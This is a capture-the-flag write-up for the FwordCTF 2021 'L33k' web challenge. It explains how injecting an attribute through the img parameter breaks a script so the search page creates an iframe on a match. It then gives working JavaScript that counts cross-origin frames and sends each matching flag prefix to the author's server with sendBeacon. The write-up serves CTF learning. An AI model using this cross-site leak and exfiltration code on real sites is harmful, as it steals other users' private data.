FwordCTF 2021 - L33k

September 29, 2021

Well as always you have everything good luck :D Typical pastebin chall :-(

https://l33k.fword.tech/

tl;dr

use iframe counting cross site leak on /search to extract the flag byte by byte


Overview

Reading the source code, the flag is stored in a paste owned by the admin.

INSERT INTO `pastes` VALUES ('1a4c2f59a482ebcae1da00cf3a88cebfd42a924367821ad38ff9bd1aZdFgY747','FwordCTF{REDACTED}','kahla');

There is also an admin bot at /report that logs in and visits the provided url.

Creating a paste with basic xss/HTML injection quickly confirms that that is not the correct route.

/search

The /search endpoint is used to search for substrings within your pastes. If you have a paste with the text Test, and you search for Te, the id of that paste will be displayed on the page.

There are three javascript elements on the page. The most interesting of which is the following (with the value of res being the result of the query):

var out=document.createElement("div")
try{
	out.setAttribute("id","out"+randomId())
}
catch(err){
var res="Result found: QZKZ3MT27Z4FO15U3LMDKFHV5J3HFZOX6S3P3UUX2DG8ER2OS6Q0QDLC0CZRQTCF"
	if(res.split(' ')[2]){
	var a=document.createElement("iframe")
	a.setAttribute("src","https://l33k.fword.tech/view?id="+res.split(' ')[2])
	document.body.appendChild(a);
	}
}
var res="Result found: QZKZ3MT27Z4FO15U3LMDKFHV5J3HFZOX6S3P3UUX2DG8ER2OS6Q0QDLC0CZRQTCF"
if(res.length >1){
	out.textContent=res
	document.body.appendChild(out)
}

If out.setAttribute("id","out"+randomId()) errors, and one of the user’s pastes include the query string, then an iframe is created with the contents of the paste.

Creating an error

There are two other script elements on the page. One for appending an image with a given src:

const escape = e => unescape(e).replace(/</g, '[').replace(/>/g, ']');
const url = new URL(location.href);
const image = url.searchParams.get('img') || "/static/search.jpg";
document.write(`<img src="${escape(image)}" />`);

And one for defining the randomId() function:

function randomId(){
        var idint=Math.random()*1e18;
        return idint.toString()
}

The img param is input straight into <img src="${escape(image)}" />, and only filters < and >. Along with the CSP, XSS is not possible. However, a new attribute can be created by supplying an img param like this: x" x=1. If the new attribute doesn’t have a value, the following HTML will close the attribute and tag on the next occurences of " and >. Supplying the img param x" x= will result in the next script element (in which randomId() is defined) to break.

1

Now when randomId() is called, there will be an error as it is never defined.

If the query matches a paste, an iframe of the paste is created.

2

Creating an exploit

If the page is opened in a window cross-origin, the contents of the page cannot be read, however the number of iframes open in the window can be. xsleaks.com is a good resource for understanding cross-site leak attacks.

var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%()*+,-./:;<=>?@[\]^`{}_|~';
var flag = 'FwordCTF{';

function testFlag(flag) {
    var win = window.open(`https://l33k.fword.tech/search?img=%22%20x=&query=${encodeURIComponent(flag)}`);
    // Wait for the page to load 
    setTimeout(() => {
        // Read the number of iframes loaded   
        if (win.length >= 1) {
            navigator.sendBeacon('<MY_SERVER>', flag);
        };
    }, 30000);
};
for (var i = 0; i < chars.length; i++) {
    testFlag(flag + chars.charAt(i));
}

The above javascript will open a window at https://l33k.fword.tech/search for each character. If the pastes include the query string, an iframe will be created. If an iframe is created, that window will send a request to my server with the query string. This process can be repeated, adding each character to the query, until the full flag is extracted.